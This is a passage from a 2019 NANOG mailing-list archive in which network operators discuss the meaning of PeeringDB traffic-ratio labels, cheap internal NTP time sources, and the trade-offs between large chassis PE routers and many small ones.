they’ve understood and provided me some really helpful answers. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 10:10 PM, Valdis Klētnieks wrote: > > On Wed, 19 Jun 2019 11:05:40 -0400, Prasun Dey said: > >> I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ >> Mostly Inbound or Balanced or Heavy/ Mostly Outbound. >> I’m wondering if there is any specific ratio numbers for them > > If they're an ISP that sells to end user consumers, they're going to be a heavy > eyeball traffic - all the big packets are coming inbound from content providers and > going to consumers. > > Content providers will of course show lots of big packets heading outwards toward > eyeball networks - but those usually aren't called ISPs. > > If they're selling mostly transit, then they're more likely to be balanced, but > again, then they're probably not really an "ISP" as the word is usually used. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Thu Jun 20 20:27:09 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Thu, 20 Jun 2019 16:27:09 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <1653151488.2850.1561040176159.JavaMail.mhammett@ThunderFuck> References: <1653151488.2850.1561040176159.JavaMail.mhammett@ThunderFuck> Message-ID: Dear Mike, Regardless of very few direct answers, I found this discussion very interesting. I think one possible reason for not having any specific numbers, as some members have already pointed out, is there doesn’t exist any. As an outsider, with zero hands-on experience in ISP field apart from studying, my understanding is, ISPs just visualize their own traffic using monitoring tools and label themselves. I wish there were any literature on this topic. I’d love to read that. Thank you for your reply. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 20, 2019, at 10:16 AM, Mike Hammett wrote: > > The problem you're running into, Prasun, is that people either aren't actually reading what you're saying or have poor comprehension skills. Very few people are directly addressing what you're asking. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > > Midwest Internet Exchange > > The Brothers WISP > > From: "Prasun Dey" > To: "Josh Luthman" > Cc: nanog at nanog.org > Sent: Wednesday, June 19, 2019 3:42:38 PM > Subject: Re: Traffic ratio of an ISP > > Josh, > That’s great. I’m assuming your traffic is mainly inbound. So, my question is, do you have a threshold that defines your traffic ratio type. > I’m taking an example from this thread. Say, your average incoming traffic is ~45 gbps, and outgoing traffic is ~4.5 gbps. So, your outbound:inbound = 1:10. What are you? Heavy Inbound? > Extending this example, if your ratio is 1:7 or 1:6, then, what would you claim to be? A ‘Mostly Inbound’? Or still call yourself as Heavy Inbound? I’m just trying to understand what is the community practice? > Thank you. > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > > > On Jun 19, 2019, at 4:23 PM, Josh Luthman wrote: > > >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) > > Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > >> On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey wrote: >> Hi Martijn and Josh, >> Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. >> According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. >> So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. >> Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. >> Thank you. >> >> - >> Prasun >> >> Regards, >> Prasun Kanti Dey >> Ph.D. Candidate, >> Dept of Electrical and Computer Engineering, >> University of Central Florida >> web: https://prasunkantidey.github.io/portfolio/ >> >> >> >> >> >> >> On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt wrote: >> >> It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. >> >> Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). >> >> Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. >> >> Best regards, >> Martijn >> >>> On 19 June 2019 19:54:45 CEST, Josh Luthman wrote: >>> If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. >>> >>> I'm not sure you're going to get any better answer without a more specific question. >>> >>> Josh Luthman >>> Office: 937-552-2340 >>> Direct: 937-552-2343 >>> 1100 Wayne St >>> Suite 1337 >>> Troy, OH 45373 >>> >>> >>>> On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey wrote: >>>> Hello, >>>> Good morning. >>>> I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. >>>> I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. >>>> I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. >>>> I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for >>>> 1. Heavy Inbound: >>>> 2. Mostly Inbound: >>>> 3. Mostly Outbound: >>>> 4. Heavy Outbound: >>>> >>>> Thank you. >>>> - >>>> Prasun >>>> -- >>>> Sincerely, >>>> Prasun Kanti Dey, >>>> Ph.D. candidate, >>>> Dept. of Electrical and Computer Engineering, >>>> University of Central Florida. >> >> -- >> Sent from my Android device with K-9 Mail. Please excuse my brevity. >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Thu Jun 20 20:45:58 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Thu, 20 Jun 2019 16:45:58 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> Message-ID: Hi Job, While doing some study, I recently came across this https://drpeering.net/white-papers/The-Folly-Of-Peering-Ratios.html This discussion was from from a Nanog meeting that took place a long time ago. This made me interested to know whether there is some actual numbers behind those PeeringDB traffic ratio labels. I think your comment on the importance of traffic ratio for a specific ASN pairing is spot on. Those information are confidential, and rightly to be so. All I wanted to know how much traffic a provider handles (receives vs. delivers), regardless of its business type. As other members have also mentioned, general consensus is, CPs are outbound, while transits are Balanced. I was wondering if there is some publicly available information about this labels. But, seems like these are more like generic information and their impact is very small in real life while ISPs decide to peer. Thank you for your response. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 20, 2019, at 10:27 AM, Job Snijders wrote: > > On Thu, Jun 20, 2019 at 4:21 PM Steller, Anthony J > wrote: >> because it really don’t matter in the whole scheme of things. > > Indeed, it doesn't matter. The "traffic ratio" field in PeeringDB > probably should be deprecated, there is no formal definition nor is > are there any operational consequences to changing the contents of > that field. The contents of the field are entirely arbitrary. > > If the traffic ratio is relevant (I am not saying it is or isn't), > such traffic ratios probably should be viewed in exclusively in > context of specific ASN pairings. Maybe between you and me we'll see > the dominant traffic direction being one way, and with another ASN > pairing we see the opposite. There is no telling other than through > observation, any such observations are unlikely to be shared with the > general public. > > Kind regards, > > Job -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Thu Jun 20 20:48:07 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Thu, 20 Jun 2019 16:48:07 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <15055.1561040929@turing-police> References: <15055.1561040929@turing-police> Message-ID: Thanks Valdis for clarifying this. Based on this thread discussion, I’m getting this understanding as well. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 20, 2019, at 10:28 AM, Valdis Klētnieks wrote: > > On Wed, 19 Jun 2019 16:20:37 -0400, Prasun Dey said: >> So, my question was more like to understand when an ISP decides to claim >> itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own >> point of view, at what point, it says, my outbound:inbound is something, so I’m >> Heavy Outbound. > > Often, just "We're eyeballs, so heavily inbound" or similar quick estimation > with no real numbers attached. Otherwise, often whatever the ISP's management > thinks will give the best results when trying to convince another network to > peer rather than have to pay for transit, or other similar reasons often only > vaguely connected to reality. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Thu Jun 20 21:03:07 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Thu, 20 Jun 2019 17:03:07 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <5a63601017146e408bdf335011ee68fe@mail.dessus.com> References: <5a63601017146e408bdf335011ee68fe@mail.dessus.com> Message-ID: <8C13964F-D2E9-45E7-A719-1BCFC755E609@nevada.unr.edu> Hi Keith, Honestly? I don’t! I have never worked with an ISP or similar. If I ever get the chance, that would be exciting. Until then, I think this platform is one of the best places where I can get the answer from the people who has first-hand experience in this field. Your classification is also interesting. I’d love to know if this is how people classify their networks. Thanks for sharing your observations. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 20, 2019, at 12:21 PM, Keith Medcalf wrote: > > > Why would you think that "Heavy Inbound" signifies a greater inbound:oubound ratio compared to "Mostly Inbound"? > > To me "Heavy Inbound" means that there is more inbound than outbound and "Mostly Inbound" means exactly that -- mostly/usually/exclusively inbound with the occasional outbound byte or two. > > --- > The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. > > >> -----Original Message----- >> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Prasun Dey >> Sent: Wednesday, 19 June, 2019 15:33 >> To: Mike Hammett >> Cc: nanog at nanog.org >> Subject: Re: Traffic ratio of an ISP >> >> Thank you, Mike. >> From an outsider, I don’t have any information of an ISP’s traffic >> numbers. And this may be confidential unless we are using any >> measurement platform, which CAIDA is doing. To get a rough idea about >> any ISP’s traffic outbound:inbound ratio I can only see it's >> PeeringDB label. But, the question is whether there is any community >> decided values against these labels? >> Like, >> 1:2 = Balanced >> 1:5 = Mostly Inbound >> 1:10 = Heavy Inbound >> 10:1 = Heavy Outbound >> I just came up with these values. They don’t mean anything. I don’t >> have any solid evidence or source to support them. So, my question >> is, what people actually use? Or, it totally depends on the ISPs and >> they vary. >> >> - >> Prasun >> >> Regards, >> Prasun Kanti Dey >> Ph.D. Candidate, >> Dept of Electrical and Computer Engineering, >> University of Central Florida >> web: https://prasunkantidey.github.io/portfolio/ >> >> >> >> >> >> >> >> On Jun 19, 2019, at 5:18 PM, Mike Hammett >> wrote: >> >> Yes, you seem to misunderstand (at least of what I understand). >> PeeringDB has categories of ratios to choose from. What has the >> community decided is acceptable ratios for each category? It's fairly >> trivial for any network to determine what their ratio is as a number, >> but not necessarily as a PeeringDB label. >> >> >> >> >> ----- >> Mike Hammett >> Intelligent Computing Solutions >> >> >> >> >> Midwest Internet Exchange >> >> >> >> The Brothers WISP >> >> >> >> ________________________________ >> >> From: "Josh Luthman" >> To: "Prasun Dey" >> Cc: nanog at nanog.org >> Sent: Wednesday, June 19, 2019 3:23:33 PM >> Subject: Re: Traffic ratio of an ISP >> >> >> >my question was more like to understand when an ISP decides to >> claim itself as any of these (Heavy Outbound/ Inbound or Balanced) >> >> Maybe I'm missing something but it's as simple as looking at the >> interface graphs. We see a whole lot of green for inbound and a >> little little blue line for outbound. We are an ISP with residential >> and commercial customers. >> >> >> Josh Luthman >> Office: 937-552-2340 >> Direct: 937-552-2343 >> 1100 Wayne St >> Suite 1337 >> Troy, OH 45373 >> >> >> On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey >> wrote: >> >> >> Hi Martijn and Josh, >> Thank you for your detailed explanation. Let me explain my >> requirement so that you may help me better. >> According to PeeringDB, Charter (Access), Sprint >> (Transit), Amazon (Content) all three of them are ‘Balanced’. While, >> Cable One, an Access ISP says it is Heavy Inbound, while Akamai, >> Netflix (Content) are Heavy Outbound. On the other hand, Cox, another >> access ISP, it says that it is Mostly Inbound. >> So, my question was more like to understand when an ISP >> decides to claim itself as any of these (Heavy Outbound/ Inbound or >> Balanced)? From an ISP’s own point of view, at what point, it says, >> my outbound:inbound is something, so I’m Heavy Outbound. >> Please ignore my lack of knowledge in this area. I’m sorry >> I should’ve done a better job in formulating my question earlier. >> Thank you. >> >> >> - >> Prasun >> >> Regards, >> Prasun Kanti Dey >> Ph.D. Candidate, >> Dept of Electrical and Computer Engineering, >> University of Central Florida >> web: https://prasunkantidey.github.io/portfolio/ >> >> >> >> >> >> >> >> On Jun 19, 2019, at 2:13 PM, i3D.net >> - Martijn Schmidt wrote: >> >> It kinda depends on the application that's being >> used. For example, videogaming has a ratio somewhere around 1:2.5 >> since you're only transmitting metadata about the players environment >> across the wire. The actual video is typically rendered at the end >> user's side. So it's not very bandwidth heavy. >> >> Compare that with a videostream (watching a movie or >> TV series) and you're pumping the rendered video across the wire, so >> there's a very different ratio. Your return path traffic would pretty >> much consist of control stuff only (like pushing the pause button). >> >> Some networks are dedicated to serving one type of >> content, whereas others might have a blend of different kinds of >> content. Same story for an access network geared to business users >> which want to use emails and such, vs residential end users looking >> for the evening's entertainment. >> >> Best regards, >> Martijn >> >> >> On 19 June 2019 19:54:45 CEST, Josh Luthman >> wrote: >> >> If you're asking an ISP, consumers will always >> be inbound. It's the end user. The outbound would be where the >> information is coming from, like data centers. >> >> I'm not sure you're going to get any better >> answer without a more specific question. >> >> Josh Luthman >> Office: 937-552-2340 >> Direct: 937-552-2343 >> 1100 Wayne St >> Suite 1337 >> Troy, OH 45373 >> >> >> On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey >> wrote: >> >> >> Hello, >> Good morning. >> I’m a Ph.D. candidate from University of >> Central Florida. I have a query, I hope you can help me with it or at >> least point me to the right direction. >> I’ve seen from PeeringDB that every ISP >> reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or >> Heavy/ Mostly Outbound. >> I’m wondering if there is any specific >> ratio numbers for them. In Norton’s Internet Peering Playbook or some >> other literary work, they mention the outbound:inbound traffic ratio >> as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other >> values. >> I’d really appreciate your help if you can >> please mention what Outbound:Inbound ratios that network admins use >> frequently to represent their traffic ratios for >> 1. Heavy Inbound: >> 2. Mostly Inbound: >> 3. Mostly Outbound: >> 4. Heavy Outbound: >> >> Thank you. >> - >> Prasun >> -- >> >> Sincerely, >> Prasun Kanti Dey, >> Ph.D. candidate, >> Dept. of Electrical and Computer >> Engineering, >> University of Central Florida. >> >> >> -- >> Sent from my Android device with K-9 Mail. Please >> excuse my brevity. > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From aaron1 at gvtc.com Thu Jun 20 21:28:27 2019 From: aaron1 at gvtc.com (Aaron Gould) Date: Thu, 20 Jun 2019 16:28:27 -0500 Subject: BGP person from Bell Canada/AS577 In-Reply-To: References: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> <1053135943.1641.1560954444850.JavaMail.mhammett@ThunderFuck> <20190619154227.GB6254@jima.tpb.net> Message-ID: <005e01d527af$19fcb6d0$4df62470$@gvtc.com> As I recall, yes that is true. Somethings mentioned here... https://www.akamai.com/us/en/multimedia/documents/akamai/akamai-accelerated-network-partner-aanp-faq.pdf I recall that after I deployed my local AANP clusters, that *if* I wanted to bypass local aanp caching, that I would change my dns setting and thus bypass aanp cache, and flow out to inet. -Aaron From valdis.kletnieks at vt.edu Fri Jun 21 00:14:42 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 20 Jun 2019 20:14:42 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <5f7ae08ba5968b40884d1f98c960a749@mail.dessus.com> References: <5f7ae08ba5968b40884d1f98c960a749@mail.dessus.com> Message-ID: <16104.1561076082@turing-police> On Thu, 20 Jun 2019 10:16:03 -0600, "Keith Medcalf" said: > Having an inbound:outbound ration of 10:1 is known as a leech ... Just remember that without "leech" networks like Comcast, everybody who's selling transit to content providers would be having a hard sell indeed..... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From ross at tajvar.io Fri Jun 21 00:41:52 2019 From: ross at tajvar.io (Ross Tajvar) Date: Thu, 20 Jun 2019 20:41:52 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <16104.1561076082@turing-police> References: <5f7ae08ba5968b40884d1f98c960a749@mail.dessus.com> <16104.1561076082@turing-police> Message-ID: I think that was a BitTorrent reference. On Thu, Jun 20, 2019, 8:17 PM Valdis Klētnieks wrote: > On Thu, 20 Jun 2019 10:16:03 -0600, "Keith Medcalf" said: > > Having an inbound:outbound ration of 10:1 is known as a leech ... > > Just remember that without "leech" networks like Comcast, everybody who's > selling transit to content providers would be having a hard sell > indeed..... > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jay at west.net Fri Jun 21 03:18:41 2019 From: jay at west.net (Jay Hennigan) Date: Thu, 20 Jun 2019 20:18:41 -0700 Subject: Cost effective time servers In-Reply-To: References: Message-ID: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> On 6/20/19 07:39, David Bass wrote: > What are folks using these days for smaller organizations, that need to > dole out time from an internal source? If you want to go really cheap and don't value your time, but do value knowing the correct time, a GPS receiver with a USB interface and a Raspberry Pi would do the trick. -- Jay Hennigan - jay at west.net Network Engineering - CCIE #7880 503 897-8550 - WB6RDV From andy at andyring.com Fri Jun 21 03:44:09 2019 From: andy at andyring.com (Andy Ringsmuth) Date: Thu, 20 Jun 2019 22:44:09 -0500 Subject: Cost effective time servers In-Reply-To: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> References: <672853c2-89a4-ed28-4920-1635daefdbe4@west.net> Message-ID: > On Jun 20, 2019, at 10:18 PM, Jay Hennigan wrote: > > On 6/20/19 07:39, David Bass wrote: >> What are folks using these days for smaller organizations, that need to dole out time from an internal source? > > If you want to go really cheap and don't value your time, but do value knowing the correct time, a GPS receiver with a USB interface and a Raspberry Pi would do the trick. Not sure how accurate you need, but I just use a Raspberry Pi as a pool.ntp.org node. I thought about going the GPS route with it but didn’t want to mess with it. -Andy From adamv0025 at netconsultings.com Fri Jun 21 07:10:17 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 21 Jun 2019 08:10:17 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <00ee01d52800$6158d3a0$240a7ae0$@netconsultings.com> Hey Saku, > From: Saku Ytti > Sent: Thursday, June 20, 2019 7:04 AM > > On Wed, 19 Jun 2019 at 23:25, wrote: > > > The conclusion I came to was that *currently the best approach would > > be to use several medium to small(fixed) PEs to replace a big > > monolithic chasses based system. > > For availability I think it is best approach to do many small edge devices. > Because software is terrible, will always be terrible. People are bad at > operating the devices and will always be. Hardware is is something we think > about lot when we think about redundancy, but it's not that common reason > for an outage. > With more smaller boxes the inevitable human cockup and software defects > will affect fewer customers. Why I believe this to be true, is because the > events are sufficiently rare and once those happen, we find solution or at > very least workaround rather fast. With full inaction you could argue that > having A3 and B1+B2 is same amount of aggregate outage, as while outage in > B affects fewer customers, there are two B nodes with equal probability of > outage. But I argue that the events are not independent, they are > dependent, so probability calculation isn't straightforward. Once we get > some rare software defect or operator mistake on B1, we usually solve it > before it triggers on B2, making the aggregate downtime of entire system > lower. > Yup I agree, Just on the human cockups though, we're putting more and more automation in to help address the problem of human imperfections. But automation can actually go both ways, some say it helps with the small day to day problems but occasionally creates a massive one. So considering the B1 & B2 correlation if operations on these are automated then, depending on how the automation system is designed/operated, one might not get the chance to reflect/assess on B1 before B2 is touched -so this might further complicate the equation for the aggregate system downtime computation. > > Yes it will cost a bit more (router is more expensive than a LC) > > Several of my employees have paid only for LC. I don't think the CAPEX > difference is meaningful, but operating two separate devices may have > significant OPEX implications in electricity, rack space, provisioning, > maintenance etc. > > > And yes there is the "node-slicing" approach from Juniper where one > > can offload CP onto multiple x86 servers and assign LCs to each server > > (virtual > > node) - which would solve my chassis full problem -but honestly how > > many of you are running such setup? Exactly. And that's why I'd be > > hesitant to deploy this solution in production just yet. I don't know > > of any other vendor solution like this one, but who knows maybe in 5 > > years this is going to be the new standard. Anyways I need a > > solution/strategy for the next 3-5 years. > > Node slicing indeed seems like it can be sufficient compromise here between > OPEX and availability. I believe (not know) that the shared software risks are > meaningfully reduced and that bringing down whole system is sufficiently > rare to allow availability upside compared to single large box. > I tend to agree, though as you say it's a compromise nevertheless. If one needs to switch to a new version of fabric in order to support new line-cards or upgrade code on the base system for that matter - the whole thing (NFVI) needs to be power-cycled. adam From saku at ytti.fi Fri Jun 21 07:25:02 2019 From: saku at ytti.fi (Saku Ytti) Date: Fri, 21 Jun 2019 10:25:02 +0300 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <00ee01d52800$6158d3a0$240a7ae0$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <00ee01d52800$6158d3a0$240a7ae0$@netconsultings.com> Message-ID: On Fri, 21 Jun 2019 at 10:09, wrote: > Just on the human cockups though, we're putting more and more automation in to help address the problem of human imperfections. With automation we break far far less often, far far more. MTTR is also increased due to skill rot, in CLI jockey network you break something every day and you have to troubleshoot and fix it, so even fixing complex problems becomes routine. With automation years may pass without complex outages when they happen, people panic and are able to act logically and focus on single problem. I am absolutely PRO automation. But I'm saying there is a cost. -- ++ytti From adamv0025 at netconsultings.com Fri Jun 21 07:36:59 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 21 Jun 2019 08:36:59 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> Message-ID: <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> Hey, > From: Tarko Tikan > Sent: Thursday, June 20, 2019 8:28 AM > > hey, > > > For availability I think it is best approach to do many small edge > > devices. > > This is also great for planned maintenance. ISSU has not really worked out for > any of the vendors and with two small devices you can upgrade them > independently. > Yup I guess no one is really using ISSU in production, and even with ISSU, currently, most of the NPUs on the market need to be power-cycled to load a new version of microcode so there's packet loss on data-plane anyways. > Great for aggregation, enables you to dual-home access devices into two > separate PEs that will never be down at the same time be it failure or > planned maintenance (excluding the physical issues like power/cooling but > dual-homing to two separate sites is always problematic for eyeball > networks). > Actually this is an interesting point you just raised. (note: The assumption for the below is single-homed customers, as the dual-homed customer would probably what to be at least site diverse and pay premium for that service) So what is the primary goal of us using the aggregation/access layer? It's to achieve better utilization of the expensive router ports right? (hence called aggregation) And indeed there are cases where we connect customers directly on to the PEs, but then it's somehow ok for a line-card to be part of just a single chassis (or a PE). Now let's take a step even further what if the line-card is not inside the chassis anymore -cause it's a fabric-extender or a satellite card. Why all of a sudden we'd be uncomfortable again to have it part of just a single chassis (and there are tons of satellite/extender topologies to prove that this is a real concern among operators). So to circle back to a standalone aggregation device -should we try and complicate the design by creating this "fabric" (PEs "spine" and aggregation devices "leaf") in an attempt to increase resiliency or shall we treat each aggregation device as unitary indivisible part of a single PE as if it was a card in a chassis -cause if the economics worked It would be a card in a chassis? adam From tarko at lanparty.ee Fri Jun 21 07:51:20 2019 From: tarko at lanparty.ee (Tarko Tikan) Date: Fri, 21 Jun 2019 10:51:20 +0300 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> Message-ID: <68985242-d7b0-94c2-bd86-63ef8ead9d6e@lanparty.ee> hey, > So what is the primary goal of us using the aggregation/access layer? It's to achieve better utilization of the expensive router ports right? (hence called aggregation) I'm in the eyeball business so saving router ports is not a primary concern. Aggregation exists to aggregate downstream access devices like DSLAMs, OLTs etc. First of all they have interfaces that are not available in your typical PEs. Secondly they are physically located further downstream, closer to the customers. It is not economical or even physically possible to have an MPLS device next to every DSLAM, hence the aggregation. Eyeball network topologies are very much driven by fiber layout that might have been built 10+ years ago following TDM network best practices (rings). Ideally (and if your market situation and finances allow this) you want your access device (or in PON case, perhaps even a OLT linecard) to be only SPOF. If you now uplink this access device to a PE, PE linecard becomes a SPOF for many, let's say 40 as this is a typical port count, access devices. If you don't want this to happen you can use second fiber pair for second uplink but you typically don't have fiber to second aggregation site. So your only option is to build on same fiber (so thats a SPOF too) to the same site. If you now uplink to same PE, you will still loose both uplinks during software upgrades. Two devices will help with that making aggregation upgrades invisible for customers thus improving customer satisfaction. Again, it very much depends on market, in here the customers get nosy if they have more than one or two planned maintenances in a year (and this is not for some premium L3VPN service but just internet). -- tarko From mark.tinka at seacom.mu Fri Jun 21 08:06:49 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Fri, 21 Jun 2019 10:06:49 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> Message-ID: <1bee2002-6806-d540-c6e1-a673ecd4cb6c@seacom.mu> On 21/Jun/19 09:36, adamv0025 at netconsultings.com wrote: > And indeed there are cases where we connect customers directly on to > the PEs, but then it's somehow ok for a line-card to be part of just a > single chassis (or a PE). We'd typically do this for very high-speed ports (100Gbps), as it's cheaper to aggregate 10Gbps-and-slower via an Ethernet switch trunking to a router line card. > Now let's take a step even further what if the line-card is not inside the chassis anymore -cause it's a fabric-extender or a satellite card. > Why all of a sudden we'd be uncomfortable again to have it part of just a single chassis (and there are tons of satellite/extender topologies to prove that this is a real concern among operators). I never quite saw the use-case for satellite ports. To me, it felt like vendors trying to find ways to lock you into their revenue stream forever, as many of these architectures do not play well with the other kids. I'd rather keep it simple and have 802.1Q trunks between router line cards and affordable Ethernet switches. We are currently switching our Layer 2 aggregation ports in the data centre from Juniper to Arista, talking to a Juniper edge router. I'd have been in real trouble if I'd fallen for Juniper's satellite system, as they have a number of shortfalls in the Layer 2 space, I feel. > So to circle back to a standalone aggregation device -should we try and complicate the design by creating this "fabric" (PEs "spine" and aggregation devices "leaf") in an attempt to increase resiliency or shall we treat each aggregation device as unitary indivisible part of a single PE as if it was a card in a chassis -cause if the economics worked It would be a card in a chassis? See my previous response to you. Mark. From adamv0025 at netconsultings.com Fri Jun 21 08:32:56 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 21 Jun 2019 09:32:56 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <50f1a38a-3638-a46e-4bde-7e9716173ca6@seacom.mu> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <50f1a38a-3638-a46e-4bde-7e9716173ca6@seacom.mu> Message-ID: <010201d5280b$ed8e3990$c8aaacb0$@netconsultings.com> Hey Mark, > From: Mark Tinka > Sent: Thursday, June 20, 2019 3:27 PM > > On 19/Jun/19 22:22, adamv0025 at netconsultings.com wrote: > > > Yes it will cost a bit more (router is more expensive than a LC) > > I found the reverse to be true... chassis' are cheap. Line cards are costly. > Well yes but if say I compare just a single line-card cost to a standalone fixed-format 1RU router with a similar capacity -the card will always be cheaper and then as I'll start adding cards on the left-hand side of the equation things should start to even out gradually (problem is this gradual increase is just a theoretical exercise -there are no fixed PE products to do this with). Yes I can compare mpc7 with a mx204. Or asr9901 with some tomahawk card(s) probably not apples to apples? But if I would venture above 1/2RU then I'm back in chassis based systems paying extra for REs/RPs and fabric and fans and PSUs... with every small PE I'm putting in so then I'm talking about add two new cards to existing chassis or ad two new cards to a new chassis. Also one interesting CAPEX factor to consider is the connectivity back to the core, as with many small PEs in a POP one would need a lot of ports on core routers and also once again the aggregation factor is somewhat lost in doing so. Where I'd have just a couple of PEs with 100G back to the core now I'd need bunch of 10s-bundled or 40s -would probably need additional cards in core routers to accommodate the need for PE ports in the POP. > > > > > Would like to hear what are your thoughts on this conundrum. > > So this depends on where you want to deliver your service, and the function, > in my opinion. > > If you are talking about an IP/MPLS-enabled Metro-E network, then having > several, smaller routers spread across one or more rings is cheaper and more > effective. > Well playing devil's advocate, having the metro rings build as dumb L1 or L2 with pair of PEs at the top is cheaper -although not much cheaper nowadays the economics in this sector changed significantly over the past years. > If you are delivering services to large customers from within a data centre, > large edge routers make more sense, particularly given the rising costs of co- > location. > So this particular case, the major POPs, is actually where we ran into the problem of RE/RP becoming full (too many VRFs/Routes/BGP sessions) halfway through the chassis. Hence I'm considering whether it's actually better to go with multiple small chassis and/or fixed form PEs in the rack as opposed to half/full rack chassis. adam From adamv0025 at netconsultings.com Fri 